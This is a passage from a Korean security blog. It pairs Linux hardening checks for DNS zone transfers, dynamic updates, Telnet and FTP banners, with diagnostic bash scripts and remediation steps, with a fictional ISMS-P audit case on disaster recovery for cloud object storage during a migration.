FINISH "[ U-50 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: Slave DNS 서버가 구동 중인 환경에서 allow-transfer { none; }; 설정을 전역으로 적용하여 Master-Slave 간 영역 전송이 차단되는 장애가 발생합니다. 이로 인해 Secondary DNS의 레코드가 갱신되지 않아 서비스 불능 상태가 됩니다.
검증 절차: 외부 및 내부 검증 PC에서 dig @<대상서버IP> <도메인명> AXFR 명령을 실행해 봅니다. Transfer failed. 또는 REFUSED 응답이 출력되어야 정상입니다.
특수 환경 조언: Slave 서버가 없는 1대 운영 환경이라면 전역 options 항목에 allow-transfer { none; };를 설정하고, Slave 서버가 존재한다면 지정된 Slave IP만 콤마/세미콜론으로 구분하여 인가하십시오.

④ 안전한 조치 절차

설정 파일 백업

cp -p /etc/named.conf /etc/named.conf.bak_$(date +%Y%m%d)

설정 파일 수정 (/etc/named.conf)

options {
    allow-transfer { none; }; // Slave DNS 미운영 시
    // 또는 allow-transfer { 192.168.1.10; }; // Slave DNS IP 지정
};

구문 검증 및 리로드

named-checkconf /etc/named.conf
systemctl reload named

2.3. [U-51] DNS 서비스의 취약한 동적 업데이트 설정 금지

① 점검 목적 및 개요

DNS 동적 업데이트(Dynamic Update)는 IP 주소가 변경될 때 DNS 레코드를 자동으로 갱신하는 기능입니다. 인증되지 않은 사용자가 동적 업데이트를 수행할 수 있도록 설정(allow-update { any; };)되어 있으면 공격자가 타깃 도메인의 A 레코드를 자신의 악성 서버 IP로 위변조(DNS Spoofing)할 수 있습니다.

② 자동 진단 스크립트 분석

# [ U-51 ] DNS 동적 업데이트 설정 점검 시작
CODE "[ U-51 ] DNS 서비스의 취약한 동적 업데이트 설정 금지"

if [[ "$DNS_RUNNING" == "TRUE" ]]; then
    if [ -f /etc/named.conf ]; then
        # allow-update 항목에 any 설정이 되어 있는지 검사
        if grep -i "allow-update" /etc/named.conf | grep -i -q "any"; then
            WARN "DNS 레코드를 누구나 동적으로 업데이트할 수 있도록 허용(any)되어 취약합니다." "named.conf 의 allow-update { any; } 설정 발견"
        # 특정 IP나 none 설정 확인
        elif grep -i -q "allow-update" /etc/named.conf; then
            OK "DNS 동적 업데이트(allow-update)가 특정 내부 IP나 none으로 안전하게 제한되어 있습니다." "allow-update 구문에 통제 적용됨"
        # BIND 최신 기본값(거부) 준수 상태
        else
            OK "DNS 설정에 동적 업데이트(allow-update) 구문이 명시되어 있지 않습니다. (최신 BIND 기본값: 거부)" "기본적으로 동적 업데이트 제한됨"
        fi
    else
        INFO "DNS 설정 파일(/etc/named.conf)을 찾을 수 없습니다." "수동 확인 요망"
    fi
else
    OK "DNS 서비스(named)가 동작하지 않으므로 점검에 해당하지 않습니다 (N/A)." "해당 서비스 미사용"
fi
FINISH "[ U-51 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: DHCP 서버와 연동하여 IP를 동적으로 할당받는 내부 통신 환경에서 TSIG(Transaction Signature) 키 인증 없이 allow-update { none; };으로 일괄 통제할 경우, 내부 시스템들의 hostname 레코드 등록이 차단되어 내부 서비스 연결 실패가 발생할 수 있습니다.
검증 절차: nsupdate 도구를 통해 인가되지 않은 클라이언트에서 임의의 레코드 추가/수정 요청을 전송해 봅니다. update failed: REFUSED 메시지가 반환되어야 안전합니다.
특수 환경 조언: 동적 업데이트가 반드시 필요한 환경이라면 단순 IP 통제가 아닌 TSIG 키 기반 인증 구문(allow-update { key "dhcp-key"; };)을 적용해야 합니다.

④ 안전한 조치 절차

설정 파일 백업

cp -p /etc/named.conf /etc/named.conf.bak_$(date +%Y%m%d)

설정 파일 수정 (/etc/named.conf 또는 각 zone 블록)

zone "example.com" IN {
    type master;
    file "example.zone";
    allow-update { none; };
};

구문 검증 및 서비스 리로드

named-checkconf /etc/named.conf
systemctl reload named

2.4. [U-52] Telnet 서비스 비활성화

① 점검 목적 및 개요

Telnet은 서버에 원격 접속하기 위한 전통적인 프로토콜이지만, ID/Password를 포함한 모든 통신 데이터가 암호화되지 않은 평문(Plaintext)으로 전송됩니다. 스니핑(Sniffing) 공격에 매우 취약하므로 즉시 비활성화하고 암호화 채널인 SSH(Secure Shell)를 사용해야 합니다.

② 자동 진단 스크립트 분석

# [ U-52 ] Telnet 서비스 비활성화 점검 시작
CODE "[ U-52 ] Telnet 서비스 비활성화"

TELNET_RUNNING="FALSE"
REASON_TELNET=""

# 1. systemd 환경에서 Telnet 데몬 및 소켓 구동 여부 검사
if systemctl is-active --quiet telnet.socket 2>/dev/null || systemctl is-active --quiet telnet 2>/dev/null; then
    TELNET_RUNNING="TRUE"
    REASON_TELNET="systemctl에서 telnet 데몬/소켓 활성화 확인됨."
fi

# 2. xinetd/inetd 슈퍼데몬 환경 내 설정 파일 점검
if [ -f /etc/xinetd.d/telnet ]; then
    if grep -i -q "disable[[:space:]]*=[[:space:]]*no" /etc/xinetd.d/telnet; then
        TELNET_RUNNING="TRUE"
        REASON_TELNET="xinetd 환경에서 telnet 서비스가 활성화(disable=no)되어 있음."
    fi
elif [ -f /etc/inetd.conf ]; then
    if grep -E -i "^[[:space:]]*telnet" /etc/inetd.conf >/dev/null; then
        TELNET_RUNNING="TRUE"
        REASON_TELNET="inetd.conf 파일에 telnet 서비스가 주석 해제되어 있음."
    fi
fi

# 최종 판단 및 출력
if [[ "$TELNET_RUNNING" == "TRUE" ]]; then
    WARN "평문 전송으로 패스워드 스니핑에 매우 취약한 Telnet 서비스가 활성화되어 있습니다." "$REASON_TELNET"
else
    OK "보안상 취약한 Telnet 서비스가 안전하게 비활성화(SSH 권장)되어 있습니다." "telnet 데몬 및 소켓 미동작"
fi
FINISH "[ U-52 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: SSH 서비스가 정상 동작하는지 검증하지 않은 상태에서 Telnet 데몬을 즉시 종료하여, 서버에 연결된 모든 관리자 세션이 끊기고 원격 접속이 불가능해지는 대형 장애(Lockout)가 발생하는 경우가 있습니다.
검증 절차: Telnet 비활성화 작업 전, 별도의 터미널 창을 열어 SSH 접속이 정상적으로 이루어지는지, sudo 권한 행사가 가능한지 먼저 검증해야 합니다.
특수 환경 조언: 구형 레거시 시스템이나 백업 장비 통신용으로 Telnet 사용이 불가피한 경우, 관리용 별도 OAM(Operations, Administration, Maintenance) 망으로 네트워크를 격리하고 방화벽 IP 필터링을 철저히 적용하십시오.

④ 안전한 조치 절차

SSH 서비스 정상 동작 사전 확인
```
systemctl status sshd
```

Telnet 서비스 중지 및 비활성화 (systemd 기준)

systemctl stop telnet.socket 2>/dev/null
systemctl disable telnet.socket 2>/dev/null
systemctl mask telnet.socket 2>/dev/null

xinetd 환경 조치 시 (/etc/xinetd.d/telnet)

# disable = yes 로 변경 후 xinetd 재시작
sed -i 's/disable[[:space:]]*=[[:space:]]*no/disable = yes/g' /etc/xinetd.d/telnet
systemctl restart xinetd

2.5. [U-53] FTP 서비스 정보 노출 제한

① 점검 목적 및 개요

FTP 서비스 접속 시 초기 배너(Banner)에 OS 명칭, BIND/FTP 데몬의 상세 버전 정보가 노출되는 경우, 공격자는 특정 버전에 존재하는 알려진 취약점(Exploit)을 타깃팅하여 공격을 시도할 수 있습니다. 따라서 배너 정보를 마스킹하여 시스템 내부 정보를 숨겨야 합니다.

② 자동 진단 스크립트 분석

# [ U-53 ] FTP 서비스 정보 노출 제한 점검 시작
CODE "[ U-53 ] FTP 서비스 정보 노출 제한"

FTP_RUNNING="FALSE"

# FTP 프로세스 실행 여부 확인
if ps -ef | grep -E "vsftpd|proftpd|in.ftpd" | grep -v "grep" >/dev/null || systemctl is-active --quiet vsftpd 2>/dev/null; then
    FTP_RUNNING="TRUE"
fi

if [[ "$FTP_RUNNING" == "TRUE" ]]; then
    BANNER_SAFE="FALSE"
    REASON_BANNER=""

    # 1. vsftpd 배너 은닉 설정 점검 (ftpd_banner 또는 banner_file 사용 여부)
    if [ -f /etc/vsftpd/vsftpd.conf ]; then
        if grep -E -i -q "^[[:space:]]*ftpd_banner=" /etc/vsftpd/vsftpd.conf || grep -E -i -q "^[[:space:]]*banner_file=" /etc/vsftpd/vsftpd.conf; then
            BANNER_SAFE="TRUE"
            REASON_BANNER="vsftpd.conf 에 ftpd_banner 또는 banner_file을 이용한 메시지 마스킹 설정이 확인됨."
        else
            REASON_BANNER="vsftpd.conf 에 기본 접속 메시지(버전 정보 등) 숨김 설정이 누락됨."
        fi
    # 2. proftpd 배너 점검 (ServerIdent off 설정 여부)
    elif [ -f /etc/proftpd/proftpd.conf ] || [ -f /etc/proftpd.conf ]; then
        CONF_FILE=$(ls /etc/proftpd/proftpd.conf /etc/proftpd.conf 2>/dev/null | head -1)
        if grep -E -i -q "^[[:space:]]*ServerIdent[[:space:]]+off" "$CONF_FILE"; then
            BANNER_SAFE="TRUE"
            REASON_BANNER="proftpd.conf 에 ServerIdent off 설정이 확인됨."
        else
            REASON_BANNER="proftpd.conf 에 ServerIdent off 설정이 누락되어 버전 정보가 노출될 수 있음."
        fi
    else
        REASON_BANNER="FTP 동작 중이나 설정 파일(/etc/vsftpd/vsftpd.conf 등)을 찾을 수 없습니다."
    fi

    # 최종 결과 판정
    if [[ "$BANNER_SAFE" == "TRUE" ]]; then
        OK "FTP 접속 시 불필요한 OS 및 버전 정보(Banner)가 노출되지 않도록 설정되어 있습니다." "$REASON_BANNER"
    else
        WARN "FTP 접속 배너(Banner)를 통해 서버 및 버전 정보가 노출될 위험이 있습니다." "$REASON_BANNER"
    fi
else
    OK "FTP 서비스가 구동되지 않으므로 배너 정보 노출 위험이 없습니다 (N/A)." "FTP 프로세스 미동작"
fi
FINISH "[ U-53 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 배너 파일(banner_file) 지시어 지정 시 설정한 텍스트 파일의 경로가 존재하지 않거나, 읽기 권한이 없는 경우 FTP 서비스 데몬이 리스타트 시 구동에 실패하는 장애가 발생할 수 있습니다.
검증 절차: 조치 후 nc <서버IP> 21 또는 ftp <서버IP> 명령을 통해 접속 초기 응답 메시지에 vsFTPd 3.0.3과 같은 상세 버전 문자열이 사라지고 지정한 경고문만 출력되는지 테스트합니다.
특수 환경 조언: 단순 배너 숨김 외에, 업무상 불가피하게 FTP를 사용하는 환경이라면 SSL/TLS를 결합한 FTPS로 전환하거나 SSH 기반 SFTP 사용을 강제하는 것이 바람직합니다.

④ 안전한 조치 절차

설정 파일 백업

cp -p /etc/vsftpd/vsftpd.conf /etc/vsftpd/vsftpd.conf.bak_$(date +%Y%m%d)

vsftpd 설정 변경 (/etc/vsftpd/vsftpd.conf)

# 기본 버전을 노출하지 않는 사용자 지정 문구 적용
ftpd_banner=Authorized uses only. All activity may be monitored and reported.

서비스 재시작 및 상태 확인

systemctl restart vsftpd
systemctl status vsftpd

3. 그룹 스크립트 한계점 및 예외 처리 종합 제안

제시된 자동 진단 스크립트는 진단의 신속성을 제공하지만, 최신 Linux OS 환경의 복잡한 설정 구조를 일부 반영하지 못하는 한계가 존재합니다.

1. 스크립트 한계점 정밀 분석

Include 분할 설정 디렉터리 미인식: 최신 BIND 및 FTP 데몬은 설정 효율화를 위해 /etc/named.conf 내부에서 include "/etc/named.rfc1912.zones"; 형태로 분할 설정을 로드하거나, Ubuntu/Debian 계열에서는 /etc/bind/named.conf.options를 활용합니다. 기존 스크립트는 단일 주요 파일만 단순 검사하므로 오진이 발생합니다.
주석 처리 구문 미검증: 설정 파일 내부의 # 또는 // 처리된 주석 문장에 allow-transfer { any; }; 구문이 남아있는 경우, 단순 grep 검색 로직은 이를 실제 활성화된 설정으로 인식하여 취약으로 잘못 판정할 수 있습니다.

2. 스크립트 보완 및 개선 코드 스니펫

주석 라인을 완벽히 제거하고 Include 디렉터리까지 통합 스캔할 수 있도록 개선된 진단 로직 스니펫을 제시합니다.

# [개선 스니펫] BIND Include 파일 포함 및 주석 처리 제거 정밀 검사
CONF_FILES=$(grep -E -v '^[[:space:]]*//|^[[:space:]]*#' /etc/named.conf 2>/dev/null | grep "include" | awk -F'"' '{print $2}')
ALL_CONFS="/etc/named.conf $CONF_FILES"

# 주석이 제거된 유효 설정 내에서 allow-transfer any 설정 검색
VULN_TRANSFER="FALSE"
for cfile in $ALL_CONFS; do
    if [ -f "$cfile" ]; then
        if grep -E -v '^[[:space:]]*//|^[[:space:]]*#' "$cfile" | grep -i "allow-transfer" | grep -i -q "any"; then
            VULN_TRANSFER="TRUE"
            break
        fi
    fi
done

if [[ "$VULN_TRANSFER" == "TRUE" ]]; then
    WARN "Zone Transfer 설정이 모든 대역(any)에 허용되어 있습니다." "주석 제외 실제 설정에서 any 확인됨"
fi

안내문 및 면책조항

본 포스팅에서 제공하는 스크립트 상세 설명 및 조치 가이드는 리눅스 시스템 보안 강화를 목적으로 작성되었습니다. 시스템의 특성, 운영 서비스의 종류 및 배포판 버전에 따라 설정을 적용한 후 로그인 불가 등의 영향도가 발생할 수 있으므로 반드시 테스트 환경에서 사전 검증을 거친 후 적용하시기 바랍니다.
리눅스 서버 진단 전체 자동화 스크립트 원본을 공유받기 원하시는 분은 하단의 비밀 댓글로 이메일 주소를 남겨 주시면 확인 후 일괄 송부해 드리겠습니다. 본 가이드의 코드를 활용하여 발생하는 시스템 장애 및 불이익에 대한 책임은 사용자 본인에게 있습니다.

2026.07.28 - [보안취약점점검/보안취약점점검_리눅스] - [리눅스 보안취약점 점검] 자동화 스크립트 공통 함수 및 환경 설정

클라우드 전환 중 DR을 미뤄도 될까?

보안실무자J — Thu, 17 Sep 2026 10:34:32 +0900

클라우드 전환 중 DR을 미뤄도 될까?

— ISMS-P 2.12.1 재해·재난 대비 안전조치와 오브젝트 스토리지 보호

※ 본 글은 ISMS-P 인증기준을 이해하기 위한 가상의 심사 시나리오다. 기업명, 담당자, 시스템명, 문서번호, 수치 및 설정값은 교육 목적으로 구성했으며 실제 기업의 심사 결과나 특정 기관의 인증 사례가 아니다.

1. 들어가며

대규모 시스템을 온프레미스에서 클라우드로 이전하는 과정에서는 기존 시스템과 신규 클라우드 환경이 일정 기간 함께 운영되는 경우가 많다.

이 과정에서 흔히 발생하는 문제가 있다.

바로 마이그레이션이 완료될 때까지 일부 보안통제나 재해복구 통제를 나중으로 미루는 것이다.

예를 들어 기존 데이터베이스에는 이미 DR 체계가 구성되어 있지만, 클라우드로 새롭게 이전한 오브젝트 스토리지에는 아직 백업이나 복제 구성이 적용되지 않은 상황을 생각할 수 있다.

담당 부서는 다음과 같이 설명할 수 있다.

"전체 클라우드 전환이 끝나면 통합 DR 정책을 적용할 예정입니다."

그렇다면 마이그레이션이 진행 중이라는 이유만으로 현재 운영 중인 스토리지를 DR 대상에서 제외해도 될까?

이 글에서는 가상의 전자상거래 기업을 대상으로 ISMS-P 2.12.1 재해·재난 대비 안전조치 관점에서 이 문제를 살펴본다.

핵심은 특정 AWS 기능을 설치했는지가 아니다.

해당 시스템이 장애나 재해 발생 시 어느 정도의 복구가 필요한 자산인지 식별하고, 그에 맞는 복구 목표와 보호대책을 실제 운영환경에 적용하고 있는지가 핵심이다.

2. 기업 개요 및 가상 운영 시나리오

기업명

A사

서비스

온라인 패션 쇼핑몰

운영 규모

회원 약 350만 명
일일 주문 약 2만 건
전자상거래 플랫폼 운영

인프라 환경

온프레미스 IDC
AWS 퍼블릭 클라우드
온프레미스와 클라우드가 혼재된 과도기적 구조
핵심 결제 및 상품 데이터베이스의 클라우드 이전 진행 중

주요 담당자

인프라클라우드팀 김민수 과장

3. 마이그레이션 과정에서 발생한 문제

A사는 기존 온프레미스 IDC에 집중되어 있던 시스템을 AWS 환경으로 이전하고 있다.

그러나 전체 시스템을 한 번에 이전하는 것은 어려웠기 때문에 다음과 같은 과도기적 구조가 만들어졌다.

[기존 온프레미스 IDC]
        │
        ├─ 기존 핵심 DB
        │    └─ 기존 DR 체계 유지
        │
        └─ 레거시 시스템
             
             ↓ 마이그레이션

[AWS 클라우드]
        │
        ├─ 신규 DB
        │    └─ 리전 간 복제
        │
        ├─ 상품 이미지 저장소
        │    └─ 단일 리전 / 단일 버킷
        │
        └─ 고객 첨부파일 저장소
             └─ 단일 리전 / 단일 버킷

문제는 새롭게 구축된 오브젝트 스토리지 영역이었다.

기존 핵심 데이터베이스에는 DR 체계가 적용되어 있었지만, 상품 이미지와 고객 첨부파일을 저장하는 오브젝트 스토리지는 마이그레이션 기간 동안 DR 및 원격 백업 대상에서 제외되었고, 담당 부서는 전체 클라우드 전환이 완료되면 통합 DR 정책을 적용할 계획이었다.

그 결과 해당 기간 동안 신규 데이터가 저장되고 있음에도 별도의 원격 백업이나 복제 없이 단일 리전의 저장소만 운영되고 있었다.

4. 현장 인터뷰

심사에서는 먼저 실제 운영 관행을 확인하였다.

[인터뷰 - 재해복구 구성 현황]

심사원

현재 클라우드 환경으로 이관 중인 주요 데이터 및 스토리지 자원에 대한 재해복구 및 이중화 구성 현황을 설명해 주시기 바랍니다.

김민수 과장 / 인프라클라우드팀

핵심 데이터베이스는 리전 간 복제를 구성하여 기존 IDC와 유사한 수준의 재해복구 체계를 유지하고 있습니다.

다만 상품 이미지와 사용자 리뷰 첨부파일 등이 저장되는 오브젝트 스토리지는 마이그레이션 작업의 복잡성을 줄이기 위해 현재 단일 리전 단일 저장소 형태로 운영하고 있습니다.

심사원

그렇다면 전환 기간 동안 해당 스토리지에 저장되는 신규 데이터에 대한 별도의 원격 백업이나 동기화 스케줄은 어떻게 운영하고 있습니까?

김민수 과장

전체 시스템 이관이 완료되는 다음 달 최종 안정화 단계에서 정식 백업 및 DR 동기화 작업을 등록할 예정입니다.

현재는 전환 검증과 배포 안정화에 리소스를 집중하고 있어 해당 스토리지에 대해서는 별도의 주기적인 백업이나 미러링을 적용하지 않고 있습니다.

5. 현장 수집 증적

증적 1. 백업 및 동기화 스케줄 설정

apiVersion: batch/v1
kind: CronJob
metadata:
  name: storage-backup-job
  namespace: e-commerce-prod
spec:
  schedule: "0 2 * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: sync-tool
            image: amazon/aws-cli:2.11.0
            command:
              - "aws"
              - "s3"
              - "sync"
              - "s3://a-store-legacy-backup/images/"
              - "s3://a-store-dr-backup/images/"
            # 신규 클라우드 버킷은 이관 완료 시까지 동기화 대상에서 제외
          restartPolicy: OnFailure

설정파일을 확인한 결과 기존 백업 대상은 동기화되고 있었으나, 실제 운영 중인 신규 클라우드 버킷은 동기화 대상에서 제외되어 있었다.

즉, 백업 작업 자체가 존재하지 않는 것이 아니라 신규 스토리지가 백업 범위에서 제외된 상태였다.

이 차이는 심사에서 중요하다.

단순히 "백업 기능이 없다"고 판단하기보다는 백업 대상 범위가 실제 운영자산을 포함하고 있는지를 확인해야 하기 때문이다.

6. 증적 2. 인프라 전환 회의록

인프라 전환 추진단의 회의록에서는 다음과 같은 내용이 확인되었다.

[문서번호: INFRA-202X-0892]

기안 제목:
클라우드 전환 기간 중 인프라 자원 관리 범위 한정 승인의 건

1. 추진 배경
- 퍼블릭 클라우드로의 대규모 시스템 이관에 따른 운영 복잡도 증가
- 전환 작업 기간 중 장애 요인 최소화를 위한 관리 대상 자원 선별

2. 주요 결정 사항

가. 핵심 데이터베이스
    기존 재해복구 체계 유지

나. 오브젝트 스토리지 및 파일 서버
    시스템 이관 및 데이터 무결성 검증 완료 시점까지
    이중화 및 원격 백업 대상에서 일시 제외

다. 적용 기간
    클라우드 전면 오픈 시점까지 한시적 유예

3. 특이사항

- 마이그레이션 기간 중 신규 적재되는 미디어 파일은
  단일 리전에 보관
- 전체 전환 완료 후 통합 백업 정책 적용 예정

이 증적은 중요한 사실을 보여준다.

해당 스토리지가 단순히 실수로 누락된 것이 아니라 조직의 의사결정에 따라 의도적으로 DR 및 백업 범위에서 제외되었다는 점이다.

따라서 심사에서는 단순 설정 오류보다 한 단계 더 확인할 필요가 있다.

7. ISMS-P 2.12.1 관점에서 확인할 핵심

ISMS-P 2.12.1 재해·재난 대비 안전조치는 자연재해, 통신·전력 장애, 해킹 등 핵심 서비스와 시스템의 운영 연속성을 위협할 수 있는 재해 유형을 식별하고, 예상 피해와 영향을 분석한 후 복구 목표와 복구 전략 및 대책 등을 마련하도록 요구한다.

따라서 심사에서 중요한 질문은 다음과 같다.

첫 번째 질문

해당 스토리지가 장애 또는 재해 발생 시 서비스 운영에 어떤 영향을 미치는가?

두 번째 질문

해당 데이터의 복구 목표시간(RTO)과 복구 목표시점(RPO)이 정의되어 있는가?

세 번째 질문

현재 운영환경에서 정의된 복구 목표를 달성할 수 있는 백업·복제·복구 체계가 존재하는가?

네 번째 질문

마이그레이션이라는 예외 상황에 대해 위험을 평가하고 별도의 대응책을 마련했는가?

8. 이번 사례에서 확인되는 핵심 문제

이번 사례의 핵심 문제를 단순히 다음과 같이 표현하면 부족하다.

"S3 버킷에 DR이 없으므로 결함이다."

보다 정확한 접근은 다음과 같다.

운영 중인 오브젝트 스토리지가 서비스 연속성에 미치는 영향을 고려한 재해복구 필요성이 존재함에도, 마이그레이션 기간이라는 사유로 해당 영역을 DR 및 백업 대상에서 제외하고 이를 보완하기 위한 별도의 복구대책도 마련하지 않은 상태

이다.

즉, 문제의 핵심은 AWS S3의 특정 기능을 사용하지 않았다는 사실 자체가 아니라 재해 발생 가능성과 영향을 고려한 복구체계가 해당 운영영역에 적용되지 않았다는 점이다.

9. 결함보고서

[결함 1] 클라우드 전환 기간 중 오브젝트 스토리지의 재해복구 대책 미적용

구분	내용
관련 기준	ISMS-P 2.12.1 재해·재난 대비 안전조치
대상	상품 이미지 및 고객 첨부파일 오브젝트 스토리지
운영환경	AWS 단일 리전·단일 버킷
확인내용	마이그레이션 기간 동안 원격 백업 및 복제 대상에서 제외
확인근거	담당자 인터뷰, 백업 CronJob 설정, 인프라 전환 회의록
주요 문제	운영 중인 스토리지에 대한 재해복구 전략 및 보호대책이 적용되지 않음
잠재 영향	리전 장애 또는 저장소 장애 발생 시 데이터 복구 및 서비스 연속성에 영향을 줄 가능성

운영현황

A사는 온프레미스 IDC에서 AWS 클라우드 환경으로 시스템을 이전하고 있으며, 상품 이미지 및 고객 첨부파일을 저장하는 오브젝트 스토리지를 운영하고 있다.

핵심 데이터베이스에는 기존 DR 체계가 적용되어 있으나, 해당 오브젝트 스토리지는 마이그레이션 기간 동안 백업 및 이중화 대상에서 제외되어 단일 리전·단일 버킷 형태로 운영되고 있었다.

확인된 사항

담당자 인터뷰를 통해 전체 클라우드 전환 완료 이후 통합 DR 체계를 적용할 예정임을 확인하였다.

또한 백업 CronJob 설정 및 인프라 전환 회의록을 통해 신규 클라우드 스토리지가 백업 및 동기화 대상에서 제외되어 있음을 확인하였다.

판단

해당 스토리지가 서비스 운영에 미치는 영향과 복구 필요성을 분석하고 그에 따른 RTO·RPO 및 복구대책을 수립해야 함에도, 마이그레이션 기간이라는 사유만으로 별도의 보호대책 없이 운영하고 있어 재해 발생 시 데이터 및 서비스 복구에 영향을 미칠 가능성이 있다.

10. 왜 '마이그레이션 중'이라는 이유만으로 통제를 유예하기 어려운가

마이그레이션 기간에는 시스템 변경이 많고 운영 복잡도가 증가한다.

따라서 모든 통제를 기존 환경과 동일하게 적용하기 어려운 경우가 있을 수 있다.

그러나 중요한 것은 예외 자체가 존재하는가가 아니라 예외 상황에서 위험을 어떻게 관리했는가이다.

예를 들어 다음과 같은 구조라면 판단이 달라질 수 있다.

마이그레이션
    ↓
위험 분석
    ↓
서비스 영향 분석
    ↓
RTO / RPO 정의
    ↓
임시 보호대책 결정
    ↓
백업 / 복제 / 스냅샷 / 복구절차 적용
    ↓
정기적인 복구 가능성 확인
    ↓
최종 DR 체계로 전환

반대로 다음과 같은 구조라면 통제 공백이 발생할 수 있다.

마이그레이션
    ↓
"전환 완료 후 적용 예정"
    ↓
현재 보호대책 없음
    ↓
재해 발생
    ↓
복구 수단 부족

따라서 마이그레이션 기간이라는 사실 자체가 면제 사유가 되는 것은 아니다.

11. 단일 리전·단일 버킷의 위험을 어떻게 볼 것인가

단일 리전으로 운영한다고 해서 그 자체만으로 ISMS-P 결함이라고 단정해서는 안 된다.

중요한 것은 해당 시스템의 업무 중요도와 복구 요구사항이다.

예를 들어 상품 이미지가 일시적으로 없어져도 서비스에 미치는 영향이 제한적이라면 필요한 복구 수준은 달라질 수 있다.

반면 고객 첨부파일이 주문·고객지원 등의 핵심 업무와 연결되어 있고 장기간 복구할 수 없다면 요구되는 보호수준은 높아질 수 있다.

따라서 심사에서는 다음 사항을 함께 확인하는 것이 적절하다.

해당 데이터가 어떤 업무에 사용되는가
서비스 중단 시 업무 영향은 어느 정도인가
데이터 손실 허용 범위는 어느 정도인가
RTO가 정의되어 있는가
RPO가 정의되어 있는가
장애 발생 시 대체 운영방법이 있는가
백업 또는 복제본이 존재하는가
복구 절차가 문서화되어 있는가
실제 복구 테스트가 수행되었는가

12. AWS S3 환경에서 백업과 복제를 구분해야 한다

클라우드 환경에서는 "복제했다"는 사실만으로 백업이 완료되었다고 판단해서는 안 된다.

예를 들어 S3 Cross-Region Replication(CRR)은 서로 다른 AWS 리전의 버킷으로 객체를 복제하는 기능이다.

S3의 라이브 복제는 객체가 생성 또는 변경될 때 대상 버킷으로 비동기 복제를 수행한다.

따라서 CRR은 재해 발생 시 다른 리전에 데이터를 확보하는 방법 중 하나로 사용할 수 있지만, 조직이 요구하는 RPO와 복구전략에 적합한지 별도로 판단해야 한다.

또한 복제 설정 이전에 이미 존재했던 객체는 자동으로 소급 복제되지 않으므로 기존 데이터에 대해서는 별도의 복제 또는 배치 복제가 필요할 수 있다.

13. 복제 상태도 확인해야 한다

복제를 구성했다고 해서 심사가 끝나는 것은 아니다.

실제 객체의 복제 상태를 확인해야 한다.

S3는 객체 복제 상태를 PENDING, COMPLETED, FAILED 등의 상태로 확인할 수 있다.

따라서 다음과 같은 증적을 확보할 수 있다.

Source Bucket
      │
      │ Object 생성
      ↓
Replication
      │
      ├── PENDING
      │
      ├── COMPLETED
      │
      └── FAILED
              ↓
        원인 확인 및 조치

AWS에서는 객체의 replication status를 콘솔, CLI, SDK 또는 S3 Inventory 등을 이용하여 확인할 수 있다.

따라서 "CRR 설정 화면이 존재한다"보다 다음과 같은 증적이 더 유용하다.

복제 규칙 활성화 상태
Source Bucket
Destination Bucket
복제 대상 범위
객체 복제 상태
실패 건수
실패 원인
복제 모니터링 로그
복제 장애 조치 이력

14. CRR과 정기 백업을 함께 사용하는 이유

재해복구와 백업은 목적이 완전히 동일하지 않다.

예를 들어 다음과 같이 구성할 수 있다.

                  ┌─────────────────────┐
                  │   Production S3     │
                  │     Source Bucket   │
                  └─────────┬───────────┘
                            │
                  ┌─────────┴─────────┐
                  │                   │
                  ▼                   ▼
          Cross-Region Replication   Backup
                  │                   │
                  ▼                   ▼
          다른 Region Bucket      별도 Backup Storage
                                      │
                                      ▼
                              장기 보관 / 격리

CRR은 다른 리전에 데이터를 복제하여 리전 장애 등에 대비하는 방식이다.

반면 백업은 별도의 보존정책과 복구 시점을 확보하기 위한 목적을 가질 수 있다.

특히 삭제나 데이터 훼손과 같은 상황까지 고려한다면 단순한 복제 외에 버전 관리, 백업 보존정책, 별도 계정 또는 저장소 분리, 불변성 확보 등의 추가적인 보호수단을 검토할 수 있다.

AWS 역시 S3 데이터 보호를 위해 Versioning, Replication, Object Lock, AWS Backup 등의 기능을 제공한다.

15. 기술적 조치

이번 사례에서는 다음과 같은 방향으로 보호체계를 보완하는 것으로 구성할 수 있다.

① 대상 버킷 식별

마이그레이션으로 신규 생성된 모든 운영 버킷을 식별한다.

② 업무 중요도 확인

각 버킷에 저장되는 데이터와 업무 영향을 분석한다.

③ RTO/RPO 확인

업무 영향에 따라 필요한 복구시간과 데이터 손실 허용범위를 정의한다.

④ 복제 구성

필요한 경우 다른 AWS 리전으로 S3 복제를 구성한다.

⑤ 백업 구성

복제와 별도로 조직의 백업정책에 따라 정기 백업을 구성한다.

⑥ 복구 테스트

실제 데이터를 대상으로 복구 가능 여부를 확인한다.

16. 백업 스케줄 예시

기존 백업 시스템을 활용한다면 다음과 같은 형태로 신규 버킷을 백업 대상에 포함할 수 있다.

apiVersion: batch/v1
kind: CronJob
metadata:
  name: storage-backup-job
  namespace: e-commerce-prod
spec:
  schedule: "0 2 * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: sync-tool
            image: amazon/aws-cli:2.11.0
            command:
              - "aws"
              - "s3"
              - "sync"
              - "s3://a-store-cloud-prod/images/"
              - "s3://a-store-dr-backup/images/"
          restartPolicy: OnFailure

다만 이 설정만으로 "DR이 완성되었다"고 판단해서는 안 된다.

다음 항목까지 함께 확인해야 한다.

CronJob 실행 여부
백업 대상 범위
전송 성공 여부
실패 로그
백업 데이터 존재 여부
보존기간
백업 저장소 접근권한
백업본 훼손·삭제 방지
실제 복구 가능 여부

17. 복구 테스트가 중요한 이유

백업 시스템은 데이터를 복사하는 것보다 실제로 복구할 수 있는지가 더 중요하다.

따라서 정기적인 복구 테스트를 수행하는 것이 필요하다.

예를 들어 다음과 같은 테스트 시나리오를 구성할 수 있다.

① 테스트 대상 데이터 선정
        ↓
② 백업본 확인
        ↓
③ 별도 테스트 환경으로 복구
        ↓
④ 파일 수 / 용량 / 주요 데이터 비교
        ↓
⑤ 애플리케이션 접근 테스트
        ↓
⑥ 복구 소요시간 측정
        ↓
⑦ RTO / RPO 충족 여부 확인
        ↓
⑧ 결과 및 개선사항 기록

심사 증적으로는 다음 자료를 확보할 수 있다.

복구 테스트 계획
테스트 수행일자
테스트 대상
백업본 정보
복구 로그
복구 소요시간
데이터 정합성 확인 결과
오류 및 조치내역
담당자 승인 또는 결과보고서

18. 원인 분석

